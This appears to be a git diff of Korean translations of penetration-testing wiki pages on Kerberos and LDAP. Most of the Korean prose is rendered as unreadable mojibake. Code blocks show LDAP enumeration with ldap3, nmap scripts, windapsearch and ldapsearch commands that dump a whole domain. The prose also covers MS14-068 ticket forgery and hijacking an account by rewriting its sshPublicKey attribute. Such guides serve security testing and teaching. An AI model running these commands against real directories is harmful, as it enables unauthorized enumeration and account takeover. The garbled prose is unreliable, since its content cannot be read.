๋Œ€ํ•œ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์„ ํ‰๊ฐ€ํ•˜๊ฑฐ๋‚˜ ์ง‘ํ–‰ํ•˜๋Š” ๊ธฐ๋Šฅ์„ ํ™•์žฅํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋Œ€์‹ , ์‚ฌ์šฉ์ž๋ฅผ ์ธ์ฆํ•˜๋Š” ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•˜๋ฉฐ, ์ด๋Š” ๋ณด์•ˆ ํ”„๋กœ์„ธ์Šค์˜ ์ค‘์š”ํ•œ ์ฒซ ๋‹จ๊ณ„์ž…๋‹ˆ๋‹ค. +**Active Directory**์™€ ๊ฐ™์€ ํ™˜๊ฒฝ์—์„œ **Kerberos**๋Š” ์‚ฌ์šฉ์ž์˜ ๋น„๋ฐ€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ฒ€์ฆํ•˜์—ฌ ์‚ฌ์šฉ์ž์˜ ์‹ ์›์„ ํ™•๋ฆฝํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ ์‚ฌ์šฉ์ž๊ฐ€ ๋„คํŠธ์›Œํฌ ๋ฆฌ์†Œ์Šค์™€ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ธฐ ์ „์— ๊ฐ ์‚ฌ์šฉ์ž์˜ ์‹ ์›์ด ํ™•์ธ๋˜๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ **Kerberos**๋Š” ํŠน์ • ๋ฆฌ์†Œ์Šค๋‚˜ ์„œ๋น„์Šค์— ๋Œ€ํ•œ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์„ ํ‰๊ฐ€ํ•˜๊ฑฐ๋‚˜ ์ง‘ํ–‰ํ•˜๋Š” ๊ธฐ๋Šฅ์„ ํ™•์žฅํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋Œ€์‹ , ์‚ฌ์šฉ์ž๋ฅผ ์ธ์ฆํ•˜๋Š” ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•˜๋ฉฐ, ์ด๋Š” ๋ณด์•ˆ ํ”„๋กœ์„ธ์Šค์˜ ์ค‘์š”ํ•œ ์ฒซ ๋‹จ๊ณ„์ž…๋‹ˆ๋‹ค. -**Kerberos**์— ์˜ํ•œ ์ธ์ฆ ํ›„, ๋ฆฌ์†Œ์Šค ์ ‘๊ทผ์— ๋Œ€ํ•œ ์˜์‚ฌ ๊ฒฐ์ • ๊ณผ์ •์€ ๋„คํŠธ์›Œํฌ ๋‚ด ๊ฐœ๋ณ„ ์„œ๋น„์Šค์— ์œ„์ž„๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์„œ๋น„์Šค๋Š” **Kerberos**๊ฐ€ ์ œ๊ณตํ•˜๋Š” ์‚ฌ์šฉ์ž ๊ถŒํ•œ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž์˜ ๊ถŒ๋ฆฌ์™€ ๊ถŒํ•œ์„ ํ‰๊ฐ€ํ•  ์ฑ…์ž„์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์„ค๊ณ„๋Š” ์‚ฌ์šฉ์ž์˜ ์‹ ์›์„ ์ธ์ฆํ•˜๋Š” ๊ฒƒ๊ณผ ์ ‘๊ทผ ๊ถŒํ•œ์„ ๊ด€๋ฆฌํ•˜๋Š” ๊ฒƒ ๊ฐ„์˜ ๊ด€์‹ฌ์‚ฌ๋ฅผ ๋ถ„๋ฆฌํ•˜์—ฌ ๋ถ„์‚ฐ ๋„คํŠธ์›Œํฌ์—์„œ ๋ฆฌ์†Œ์Šค ๊ด€๋ฆฌ๋ฅผ ๋ณด๋‹ค ์œ ์—ฐํ•˜๊ณ  ์•ˆ์ „ํ•˜๊ฒŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. +**Kerberos**์— ์˜ํ•œ ์ธ์ฆ ํ›„, ๋ฆฌ์†Œ์Šค ์ ‘๊ทผ์— ๋Œ€ํ•œ ์˜์‚ฌ ๊ฒฐ์ • ๊ณผ์ •์€ ๋„คํŠธ์›Œํฌ ๋‚ด ๊ฐœ๋ณ„ ์„œ๋น„์Šค์— ์œ„์ž„๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์„œ๋น„์Šค๋Š” **Kerberos**๊ฐ€ ์ œ๊ณตํ•˜๋Š” ์‚ฌ์šฉ์ž ๊ถŒํ•œ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž์˜ ๊ถŒ๋ฆฌ์™€ ๊ถŒํ•œ์„ ํ‰๊ฐ€ํ•  ์ฑ…์ž„์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์„ค๊ณ„๋Š” ์‚ฌ์šฉ์ž ์‹ ์› ์ธ์ฆ๊ณผ ์ ‘๊ทผ ๊ถŒํ•œ ๊ด€๋ฆฌ๋ฅผ ๋ถ„๋ฆฌํ•˜์—ฌ ๋ถ„์‚ฐ ๋„คํŠธ์›Œํฌ์—์„œ ๋ฆฌ์†Œ์Šค ๊ด€๋ฆฌ๋ฅผ ๋ณด๋‹ค ์œ ์—ฐํ•˜๊ณ  ์•ˆ์ „ํ•˜๊ฒŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. **๊ธฐ๋ณธ ํฌํŠธ:** 88/tcp/udp ``` @@ -25,7 +25,7 @@ PORT STATE SERVICE ### MS14-068 -MS14-068 ๊ฒฐํ•จ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ํ•ฉ๋ฒ•์ ์ธ ์‚ฌ์šฉ์ž์˜ Kerberos ๋กœ๊ทธ์ธ ํ† ํฐ์„ ์กฐ์ž‘ํ•˜์—ฌ ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž์™€ ๊ฐ™์€ ์ƒ์Šน๋œ ๊ถŒํ•œ์„ ์ž˜๋ชป ์ฃผ์žฅํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด ์œ„์กฐ๋œ ์ฃผ์žฅ์€ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์— ์˜ํ•ด ์ž˜๋ชป ๊ฒ€์ฆ๋˜์–ด Active Directory ํฌ๋ฆฌ์ŠคํŠธ ์ „๋ฐ˜์— ๊ฑธ์ณ ๋„คํŠธ์›Œํฌ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ๋ฌด๋‹จ ์ ‘๊ทผ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. +MS14-068 ๊ฒฐํ•จ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ํ•ฉ๋ฒ•์ ์ธ ์‚ฌ์šฉ์ž์˜ Kerberos ๋กœ๊ทธ์ธ ํ† ํฐ์„ ์กฐ์ž‘ํ•˜์—ฌ ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž์™€ ๊ฐ™์€ ๋†’์€ ๊ถŒํ•œ์„ ์ž˜๋ชป ์ฃผ์žฅํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด ์œ„์กฐ๋œ ์ฃผ์žฅ์€ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์— ์˜ํ•ด ์ž˜๋ชป ๊ฒ€์ฆ๋˜์–ด Active Directory ํฌ๋ฆฌ์ŠคํŠธ ์ „๋ฐ˜์— ๊ฑธ์ณ ๋„คํŠธ์›Œํฌ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ๋ฌด๋‹จ ์ ‘๊ทผ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. {{#ref}} https://adsecurity.org/?p=541 @@ -46,7 +46,7 @@ Note: | Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks. In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process. -https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88 +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html Entry_2: Name: Pre-Creds diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index 6bc372eda..fa2a0f96c 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -4,7 +4,7 @@ **LDAP** (๊ฒฝ๋Ÿ‰ ๋””๋ ‰ํ„ฐ๋ฆฌ ์ ‘๊ทผ ํ”„๋กœํ† ์ฝœ)์˜ ์‚ฌ์šฉ์€ ์ฃผ๋กœ ์กฐ์ง, ๊ฐœ์ธ ๋ฐ ํŒŒ์ผ๊ณผ ์žฅ์น˜์™€ ๊ฐ™์€ ๋ฆฌ์†Œ์Šค๋ฅผ ๊ณต๊ณต ๋ฐ ์‚ฌ์„ค ๋„คํŠธ์›Œํฌ ๋‚ด์—์„œ ์ฐพ๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ด์ „ ๋ฒ„์ „์ธ DAP์— ๋น„ํ•ด ๋” ์ž‘์€ ์ฝ”๋“œ ํ’‹ํ”„๋ฆฐํŠธ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์–ด ๊ฐ„์†Œํ™”๋œ ์ ‘๊ทผ ๋ฐฉ์‹์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. -LDAP ๋””๋ ‰ํ„ฐ๋ฆฌ๋Š” ์—ฌ๋Ÿฌ ์„œ๋ฒ„์— ๋ถ„์‚ฐ๋  ์ˆ˜ ์žˆ๋„๋ก ๊ตฌ์กฐํ™”๋˜์–ด ์žˆ์œผ๋ฉฐ, ๊ฐ ์„œ๋ฒ„๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ **๋ณต์ œ๋œ** ๋ฐ **๋™๊ธฐํ™”๋œ** ๋ฒ„์ „์„ ๋ณด์œ ํ•˜๊ณ  ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ๋””๋ ‰ํ„ฐ๋ฆฌ ์‹œ์Šคํ…œ ์—์ด์ „ํŠธ(DSA)๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ์š”์ฒญ ์ฒ˜๋ฆฌ์˜ ์ฑ…์ž„์€ ์ „์ ์œผ๋กœ LDAP ์„œ๋ฒ„์— ์žˆ์œผ๋ฉฐ, ํ•„์š”์— ๋”ฐ๋ผ ๋‹ค๋ฅธ DSA์™€ ํ†ต์‹ ํ•˜์—ฌ ์š”์ฒญ์ž์—๊ฒŒ ํ†ตํ•ฉ๋œ ์‘๋‹ต์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. +LDAP ๋””๋ ‰ํ„ฐ๋ฆฌ๋Š” ์—ฌ๋Ÿฌ ์„œ๋ฒ„์— ๋ถ„์‚ฐ๋  ์ˆ˜ ์žˆ๋„๋ก ๊ตฌ์กฐํ™”๋˜์–ด ์žˆ์œผ๋ฉฐ, ๊ฐ ์„œ๋ฒ„๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ **๋ณต์ œ๋œ** ๋ฐ **๋™๊ธฐํ™”๋œ** ๋ฒ„์ „์„ ๋ณด์œ ํ•˜๊ณ  ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ๋””๋ ‰ํ„ฐ๋ฆฌ ์‹œ์Šคํ…œ ์—์ด์ „ํŠธ(DSA)๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ์š”์ฒญ ์ฒ˜๋ฆฌ๋Š” ์ „์ ์œผ๋กœ LDAP ์„œ๋ฒ„์˜ ์ฑ…์ž„์ด๋ฉฐ, ํ•„์š”์— ๋”ฐ๋ผ ๋‹ค๋ฅธ DSA์™€ ํ†ต์‹ ํ•˜์—ฌ ์š”์ฒญ์ž์—๊ฒŒ ํ†ตํ•ฉ๋œ ์‘๋‹ต์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. LDAP ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ์กฐ์ง ๊ตฌ์กฐ๋Š” **๋ฃจํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ๋งจ ์œ„์— ์žˆ๋Š” ํŠธ๋ฆฌ ๊ณ„์ธต ๊ตฌ์กฐ**๋ฅผ ๋‹ฎ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๊ตญ๊ฐ€๋กœ ๋ถ„๊ธฐ๋˜๊ณ , ๊ตญ๊ฐ€์—์„œ ๋‹ค์‹œ ์กฐ์ง์œผ๋กœ ๋‚˜๋‰˜๋ฉฐ, ๊ทธ ํ›„ ๋‹ค์–‘ํ•œ ๋ถ€์„œ๋‚˜ ๋ถ€์„œ๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ์กฐ์ง ๋‹จ์œ„๋กœ ๋‚˜๋‰˜๊ณ , ๋งˆ์ง€๋ง‰์œผ๋กœ ๊ฐœ์ธ ์—”ํ‹ฐํ‹ฐ ์ˆ˜์ค€์— ๋„๋‹ฌํ•˜์—ฌ ์‚ฌ๋žŒ๊ณผ ํŒŒ์ผ ๋ฐ ํ”„๋ฆฐํ„ฐ์™€ ๊ฐ™์€ ๊ณต์œ  ๋ฆฌ์†Œ์Šค๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. @@ -14,9 +14,9 @@ PORT STATE SERVICE REASON 389/tcp open ldap syn-ack 636/tcp open tcpwrapped ``` -### LDAP ๋ฐ์ดํ„ฐ ๊ตํ™˜ ํ˜•์‹ +### LDAP Data Interchange Format -LDIF (LDAP ๋ฐ์ดํ„ฐ ๊ตํ™˜ ํ˜•์‹)๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด์šฉ์„ ๋ ˆ์ฝ”๋“œ ์ง‘ํ•ฉ์œผ๋กœ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ์—…๋ฐ์ดํŠธ ์š”์ฒญ(์ถ”๊ฐ€, ์ˆ˜์ •, ์‚ญ์ œ, ์ด๋ฆ„ ๋ณ€๊ฒฝ)์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +LDIF (LDAP Data Interchange Format)๋Š” ๋””๋ ‰ํ† ๋ฆฌ ๋‚ด์šฉ์„ ๋ ˆ์ฝ”๋“œ ์ง‘ํ•ฉ์œผ๋กœ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ์—…๋ฐ์ดํŠธ ์š”์ฒญ(์ถ”๊ฐ€, ์ˆ˜์ •, ์‚ญ์ œ, ์ด๋ฆ„ ๋ณ€๊ฒฝ)์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash dn: dc=local dc: local @@ -52,7 +52,7 @@ phone: 23627387495 ## ๋ฐ์ดํ„ฐ ์ž‘์„ฑ -๊ฐ’์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ •๋ง ํฅ๋ฏธ๋กœ์šด ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, **์‚ฌ์šฉ์ž ๋˜๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ "sshPublicKey" ์ •๋ณด๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ์ƒ์ƒํ•ด ๋ณด์‹ญ์‹œ์˜ค**. ์ด ์†์„ฑ์ด ์กด์žฌํ•œ๋‹ค๋ฉด **ssh๊ฐ€ LDAP์—์„œ ๊ณต๊ฐœ ํ‚ค๋ฅผ ์ฝ๊ณ  ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค**. ์‚ฌ์šฉ์ž์˜ ๊ณต๊ฐœ ํ‚ค๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด **๋น„๋ฐ€๋ฒˆํ˜ธ ์ธ์ฆ์ด ssh์—์„œ ํ™œ์„ฑํ™”๋˜์ง€ ์•Š์•˜๋”๋ผ๋„ ํ•ด๋‹น ์‚ฌ์šฉ์ž๋กœ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. +๊ฐ’์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ •๋ง ํฅ๋ฏธ๋กœ์šด ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, **์‚ฌ์šฉ์ž ๋˜๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ "sshPublicKey" ์ •๋ณด๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ์ƒ์ƒํ•ด ๋ณด์‹ญ์‹œ์˜ค**. ์ด ์†์„ฑ์ด ์กด์žฌํ•œ๋‹ค๋ฉด **ssh๊ฐ€ LDAP์—์„œ ๊ณต๊ฐœ ํ‚ค๋ฅผ ์ฝ๊ณ  ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค**. ์‚ฌ์šฉ์ž์˜ ๊ณต๊ฐœ ํ‚ค๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด **ssh์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ธ์ฆ์ด ํ™œ์„ฑํ™”๋˜์ง€ ์•Š์•˜๋”๋ผ๋„ ํ•ด๋‹น ์‚ฌ์šฉ์ž๋กœ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 @@ -83,7 +83,7 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ### LDAP ์ต๋ช… ๋ฐ”์ธ๋”ฉ [LDAP ์ต๋ช… ๋ฐ”์ธ๋”ฉ](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)์€ **์ธ์ฆ๋˜์ง€ ์•Š์€ ๊ณต๊ฒฉ์ž**๊ฐ€ ๋„๋ฉ”์ธ์—์„œ ์‚ฌ์šฉ์ž, ๊ทธ๋ฃน, ์ปดํ“จํ„ฐ, ์‚ฌ์šฉ์ž ๊ณ„์ • ์†์„ฑ ๋ฐ ๋„๋ฉ”์ธ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ •์ฑ…์˜ ์ „์ฒด ๋ชฉ๋ก๊ณผ ๊ฐ™์€ ์ •๋ณด๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” **๊ตฌ์‹ ๊ตฌ์„ฑ**์ด๋ฉฐ, Windows Server 2003๋ถ€ํ„ฐ๋Š” ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๋งŒ LDAP ์š”์ฒญ์„ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -๊ทธ๋Ÿฌ๋‚˜ ๊ด€๋ฆฌ์ž๋Š” **ํŠน์ • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์„ค์ •ํ•˜์—ฌ ์ต๋ช… ๋ฐ”์ธ๋”ฉ์„ ํ—ˆ์šฉํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์œผ๋ฉฐ**, ์˜๋„ํ•œ ๊ฒƒ๋ณด๋‹ค ๋” ๋งŽ์€ ์•ก์„ธ์Šค๋ฅผ ๋ถ€์—ฌํ•˜์—ฌ ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์ž๊ฐ€ AD์˜ ๋ชจ๋“  ๊ฐ์ฒด์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ–ˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๊ทธ๋Ÿฌ๋‚˜ ๊ด€๋ฆฌ์ž๋Š” **ํŠน์ • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์„ค์ •ํ•˜์—ฌ ์ต๋ช… ๋ฐ”์ธ๋”ฉ์„ ํ—ˆ์šฉํ•ด์•ผ ํ•  ํ•„์š”๊ฐ€ ์žˆ์—ˆ**๊ณ , ๊ทธ๋กœ ์ธํ•ด ์˜๋„ํ•œ ๊ฒƒ๋ณด๋‹ค ๋” ๋งŽ์€ ์ ‘๊ทผ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜์—ฌ ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์ž๊ฐ€ AD์˜ ๋ชจ๋“  ๊ฐ์ฒด์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ–ˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ## ์œ ํšจํ•œ ์ž๊ฒฉ ์ฆ๋ช… @@ -110,9 +110,9 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials See LDAP enumeration with python -**์ž๊ฒฉ ์ฆ๋ช… ์—†์ด ๋˜๋Š” ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ LDAP์„ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**: `pip3 install ldap3` +You can try to **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3` -๋จผ์ € **์ž๊ฒฉ ์ฆ๋ช… ์—†์ด ์—ฐ๊ฒฐํ•ด ๋ณด์‹ญ์‹œ์˜ค**: +First try to **connect without** credentials: ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) @@ -121,7 +121,7 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials True >>> server.info ``` -์‘๋‹ต์ด ์ด์ „ ์˜ˆ์ œ์™€ ๊ฐ™์ด `True`์ธ ๊ฒฝ์šฐ, ๋‹ค์Œ์—์„œ LDAP์˜ **ํฅ๋ฏธ๋กœ์šด ๋ฐ์ดํ„ฐ**(์˜ˆ: **๋„ค์ด๋ฐ ์ปจํ…์ŠคํŠธ** ๋˜๋Š” **๋„๋ฉ”์ธ ์ด๋ฆ„**) ์„œ๋ฒ„๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์‘๋‹ต์ด ์ด์ „ ์˜ˆ์ œ์™€ ๊ฐ™์ด `True`์ธ ๊ฒฝ์šฐ, ๋‹ค์Œ์—์„œ LDAP์˜ **ํฅ๋ฏธ๋กœ์šด ๋ฐ์ดํ„ฐ**(์˜ˆ: **๋ช…๋ช… ์ปจํ…์ŠคํŠธ** ๋˜๋Š” **๋„๋ฉ”์ธ ์ด๋ฆ„**) ์„œ๋ฒ„๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash >>> server.info DSA info (from DSE): @@ -129,7 +129,7 @@ Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` -์ด๋ฆ„ ์ปจํ…์ŠคํŠธ๋ฅผ ์–ป์œผ๋ฉด ์ข€ ๋” ํฅ๋ฏธ๋กœ์šด ์ฟผ๋ฆฌ๋ฅผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฐ„๋‹จํ•œ ์ฟผ๋ฆฌ๋Š” ๋””๋ ‰ํ† ๋ฆฌ์˜ ๋ชจ๋“  ๊ฐ์ฒด๋ฅผ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค: +์ผ๋‹จ ๋„ค์ด๋ฐ ์ปจํ…์ŠคํŠธ๋ฅผ ์–ป์œผ๋ฉด ๋” ํฅ๋ฏธ๋กœ์šด ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฐ„๋‹จํ•œ ์ฟผ๋ฆฌ๋Š” ๋””๋ ‰ํ† ๋ฆฌ์˜ ๋ชจ๋“  ๊ฐ์ฒด๋ฅผ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค: ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True @@ -145,7 +145,7 @@ True ### windapsearch -[**Windapsearch**](https://github.com/ropnop/windapsearch)๋Š” LDAP ์ฟผ๋ฆฌ๋ฅผ ํ™œ์šฉํ•˜์—ฌ **Windows** ๋„๋ฉ”์ธ์—์„œ ์‚ฌ์šฉ์ž, ๊ทธ๋ฃน ๋ฐ ์ปดํ“จํ„ฐ๋ฅผ **์—ด๊ฑฐํ•˜๋Š” ๋ฐ ์œ ์šฉํ•œ** Python ์Šคํฌ๋ฆฝํŠธ์ž…๋‹ˆ๋‹ค. +[**Windapsearch**](https://github.com/ropnop/windapsearch)๋Š” **LDAP ์ฟผ๋ฆฌ๋ฅผ ํ™œ์šฉํ•˜์—ฌ Windows** ๋„๋ฉ”์ธ์—์„œ ์‚ฌ์šฉ์ž, ๊ทธ๋ฃน ๋ฐ ์ปดํ“จํ„ฐ๋ฅผ **์—ด๊ฑฐํ•˜๋Š” ๋ฐ ์œ ์šฉํ•œ** Python ์Šคํฌ๋ฆฝํŠธ์ž…๋‹ˆ๋‹ค. ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers @@ -173,9 +173,9 @@ result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` -"_bind must be completed_"๋ผ๋Š” ๋ฌธ๊ตฌ๊ฐ€ ์žˆ์œผ๋ฉด ์ž๊ฒฉ ์ฆ๋ช…์ด ์ž˜๋ชป๋˜์—ˆ๋‹ค๋Š” ์˜๋ฏธ์ž…๋‹ˆ๋‹ค. +"_bind must be completed_"๋ผ๋Š” ๋ฉ”์‹œ์ง€๊ฐ€ ๋‚˜ํƒ€๋‚˜๋ฉด ์ž๊ฒฉ ์ฆ๋ช…์ด ์ž˜๋ชป๋˜์—ˆ๋‹ค๋Š” ์˜๋ฏธ์ž…๋‹ˆ๋‹ค. -๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **๋„๋ฉ”์ธ์—์„œ ๋ชจ๋“  ๊ฒƒ์„ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**: +๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **๋„๋ฉ”์ธ์—์„œ ๋ชจ๋“  ๊ฒƒ์„ ์ถ”์ถœ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" -x Simple Authentication @@ -225,7 +225,7 @@ ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Rem #### pbis -์—ฌ๊ธฐ์—์„œ **pbis**๋ฅผ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) ์ผ๋ฐ˜์ ์œผ๋กœ `/opt/pbis`์— ์„ค์น˜๋ฉ๋‹ˆ๋‹ค.\ +**pbis**๋Š” ์—ฌ๊ธฐ์—์„œ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) ์ผ๋ฐ˜์ ์œผ๋กœ `/opt/pbis`์— ์„ค์น˜๋ฉ๋‹ˆ๋‹ค.\ **Pbis**๋Š” ๊ธฐ๋ณธ ์ •๋ณด๋ฅผ ์‰ฝ๊ฒŒ ์–ป์„ ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค: ```bash #Read keytab file @@ -270,7 +270,7 @@ echo "$line"; echo "======================" done ``` -## 